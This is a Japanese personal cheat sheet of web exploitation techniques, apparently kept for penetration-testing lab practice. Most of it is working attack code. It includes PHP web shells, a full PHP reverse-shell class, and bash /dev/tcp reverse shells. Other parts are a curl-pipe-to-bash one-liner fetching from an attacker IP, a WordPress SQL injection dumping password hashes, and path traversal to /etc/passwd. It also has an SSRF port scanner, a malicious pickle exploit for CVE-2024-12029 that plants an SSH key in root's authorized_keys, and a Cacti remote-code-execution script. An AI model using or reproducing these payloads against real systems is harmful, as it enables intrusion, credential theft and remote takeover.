Open11
Webのexploitメモ
PHPでOSコマンドを実行する方法
PHPのphpinfo()を使うと、現在の設定が確認できる。
php
<?php phpinfo(); ?>
この中のdisable_functionsによりOSコマンド実行が可能かどうかがわかる。
shell_exec()
php
$result = shell_exec('ls -la');
system()
php
$result = system('ls -la', $exit_code);
exec()
php
exec('ls -la', $output, $exit_code);
passthru
php
<?php passthru('id'); ?>
標準出力が直接ブラウザに表示される。
popen()
php
<?php
$handle = popen("id", "r");
while (!feof($handle)) {
echo fread($handle, 1024);
}
pclose($handle);
?>
command injection in file name
php
POSTメソッド内
Content-Disposition: form-data; name="formFile"; filename="silent.mp3\";id;#"
リバースシェルの例
php -r '$sl=chr(47);$dot=chr(46);$pip=chr(124);echo shell_exec(\"curl 192${dot}168${dot}45${dot}156${sl}shell${dot}sh${pip}bash\");';#
読み込むシェルの作成(shell.sh)
echo 'bash -i >& /dev/tcp/192.168.45.156/443 0>&1' > shell.sh
WordPress関連
確認すべきファイル
wp-config.php
WP-Advanced-SearchのSQLiの脆弱性
コマンド
curl "http://workaholic.offsec/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20UNION%20SELECT%20user_pass%20FROM%20wp_users--&f=user_login&type=&e="
https://wpscan.com/vulnerability/2ddd6839-6bcb-4bb8-97e0-1516b8c2b99b/
Pluginのリスト(plugins.txt)
コマンド
gobuster dir -u http://[IP]/wp-content/plugins -w plugins.txt -t 40 --exclude-length 0
PHP関係
SPX
コマンド
curl 'http://[URL]/phpinfo.php?SPX_KEY=a2a90ca2f9f0ea04d267b16fb8e63800&SPX_UI_URI=/../../../../../../../../etc/passwd'
Flask
Flaskは、Pythonで作られた軽量なWebアプリケーションフレームワーク。
app.pyはFlask公式ではないものの、慣習的によく使われる名前。
環境変数「FLASK_APP」に指定されたファイルを起動ファイルとして使う。
Linux:コマンド
echo $FLASK_APP
PHP関連のリバースシェル
各種PHPによるシェル操作
シェル
<?php echo system($_GET['_']); ?>
実行方法
http://example.com/shell.php?_=id
リバースシェル
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'");
?>
WIndows/Linuxどちらでも動くリバースシェル
PHP v5.3.0未満
<?php
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec;
private $buffer = 1024;
private $clen = 0;
private $error = false;
private $sdump = true;
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
$this->descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
}
private function detect() {
$detected = true;
$os = PHP_OS;
if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {
$this->os = 'LINUX';
$this->shell = '/bin/sh';
} else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Unsupported OS\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() not available\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Fork failed\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Parent exiting\n";
} else if (posix_setsid() < 0) {
echo "DAEMONIZE: setsid failed\n";
} else {
echo "DAEMONIZE: Success\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0);
@umask(0);
}
private function dump($data) {
if ($this->sdump) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
}
private function read($stream, $name, $buffer) {
$data = @fread($stream, $buffer);
if ($data === false) {
$this->error = true;
echo "STRM_ERROR: Cannot read from {$name}\n";
}
return $data;
}
private function write($stream, $name, $data) {
$bytes = @fwrite($stream, $data);
if ($bytes === false) {
$this->error = true;
echo "STRM_ERROR: Cannot write to {$name}\n";
}
return $bytes;
}
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') {
$this->clen += strlen($data);
}
$this->dump($data);
}
}
private function brw($input, $output, $iname, $oname) {
$stat = fstat($input);
$size = $stat['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
while ($this->clen > 0) {
$bytes = ($this->clen >= $this->buffer) ? $this->buffer : $this->clen;
$this->read($input, $iname, $bytes);
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0) {
$bytes = ($size >= $this->buffer) ? $this->buffer : $size;
$data = $this->read($input, $iname, $bytes);
$this->write($output, $oname, $data);
$size -= $bytes;
$this->dump($data);
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false);
$process = @proc_open($this->shell, $this->descriptorspec, $pipes);
if (!$process) {
echo "PROC_ERROR: Cannot start shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false);
}
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell connected! PID: " . $status['pid'] . "\n");
do {
$status = proc_get_status($process);
if (feof($socket)) {
echo "SOC_ERROR: Connection closed\n"; break;
} else if (feof($pipes[1]) || !$status['running']) {
echo "PROC_ERROR: Shell terminated\n"; break;
}
$read_streams = array($socket, $pipes[1], $pipes[2]);
$write_streams = null;
$except_streams = null;
$num_changed_streams = @stream_select($read_streams, $write_streams, $except_streams, 0);
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket, $read_streams)) { $this->rw($socket, $pipes[0], 'SOCKET', 'STDIN'); }
if (in_array($pipes[2], $read_streams)) { $this->rw($pipes[2], $socket, 'STDERR', 'SOCKET'); }
if (in_array($pipes[1], $read_streams)) { $this->rw($pipes[1], $socket, 'STDOUT', 'SOCKET'); }
} else if ($this->os === 'WINDOWS') {
if (in_array($socket, $read_streams)) { $this->rw($socket, $pipes[0], 'SOCKET', 'STDIN'); }
$stat2 = fstat($pipes[2]);
if ($stat2['size']) { $this->brw($pipes[2], $socket, 'STDERR', 'SOCKET'); }
$stat1 = fstat($pipes[1]);
if ($stat1['size']) { $this->brw($pipes[1], $socket, 'STDOUT', 'SOCKET'); }
}
}
} while (!$this->error);
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
fclose($socket);
}
}
}
}
echo '<pre>';
$sh = new Shell('192.168.45.155', 443);
$sh->run();
unset($sh);
echo '</pre>';
?>
SSRF関連
入力に基づいてリソースを取得しているような部分は潜在的なSSRF脆弱性がある。
内部のポート探索向けスクリプトの例
python
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
target = "192.168.137.113:8080"
ports = range(1, 65535) # まずは小さい範囲でテスト
max_workers = 50 # 同時スレッド数
def check_port(port):
url = f"http://{target}/image?image=http://127.0.0.1:{port}"
try:
response = requests.get(url, timeout=1)
if 200 <= response.status_code < 300:
return f"Port {port} seems open (HTTP Status: {response.status_code})"
except requests.exceptions.RequestException:
pass
return None
with ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = [executor.submit(check_port, port) for port in ports]
for future in as_completed(futures):
result = future.result()
if result:
print(result)
.htaccessを使ったファイルアップロード
コマンド
echo "AddType application/x-httpd-php .xxx" > .htaccess
.xxxをphpとして実行する設定
Symfony関連
Symfonyバージョン3.4のデータベースのデフォルトの設定ファイルの場所:app/config/parameters.yml
Invoke AI関連
CVE-2024-12029の攻略法(SSHアクセス)
kaliでssh-keygen実行後に公開鍵を登録する。
write_ssh.py
import pickle
class Payload:
def __reduce__(self):
import os
return (os.system, ('echo "作成した公開鍵" >> /root/.ssh/authorized_keys',))
def generate_payload():
# Not .pkl
with open('payload.ckpt', 'wb') as f:
pickle.dump(Payload(), f)
generate_payload()
上記実行後に登録を行う。
exploit.py
import requests
url = "http://[ターゲットIP]:9090/api/v2/models/install"
params = {
"source": "http://[kaliのIP]/payload.ckpt",
"inplace": "true"
}
response = requests.post(url, params=params, json={})
print(response.text)
Cacti Monitoring
HTTPへの対応版
Python
import requests
import urllib.parse
**import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)**
def checkVuln():
result = requests.get(vulnURL, headers=header,**verify=False**)
return (result.text != "FATAL: You are not authorized to use this service" and result.status_code == 200)
def bruteForce():
# brute force to find host id and local data id
for i in range(1, 5):
for j in range(1, 10):
vulnIdURL = f"{vulnURL}?action=polldata&poller_id=1&host_id={i}&local_data_ids[]={j}"
result = requests.get(vulnIdURL, headers=header,verify=False)
if result.text != "[]":
print(result.text)
rrdName = result.json()[0]["rrd_name"]
** if rrdName == "users" or rrdName == "uptime":**
return True, i, j
return False, -1, -1
def remoteCodeExecution(payload, idHost, idLocal):
encodedPayload = urllib.parse.quote(payload)
injectedURL = f"{vulnURL}?action=polldata&poller_id=;{encodedPayload}&host_id={idHost}&local_data_ids[]={idLocal}"
result = requests.get(injectedURL,headers=header,verify=False)
print(result.text)
if __name__ == "__main__":
targetURL = input("Enter the target address (like 'http://123.123.123.123:8080')")
vulnURL = f"{targetURL}/remote_agent.php"
# X-Forwarded-For value should be something in the database of Cacti
header = {"X-Forwarded-For": "127.0.0.1"}
print("Checking vulnerability...")
if checkVuln():
print("App is vulnerable")
isVuln, idHost, idLocal = bruteForce()
print("Brute forcing id...")
# RCE payload
ipAddress = "192.168.1.15"
ipAddress = input("Enter your IPv4 address")
port = input("Enter the port you want to listen on")
payload = f"bash -c 'bash -i >& /dev/tcp/{ipAddress}/{port} 0>&1'"
if isVuln:
print("Delivering payload...")
remoteCodeExecution(payload, idHost, idLocal)
else:
print("RRD not found")
else:
print("Not vulnerable")
参考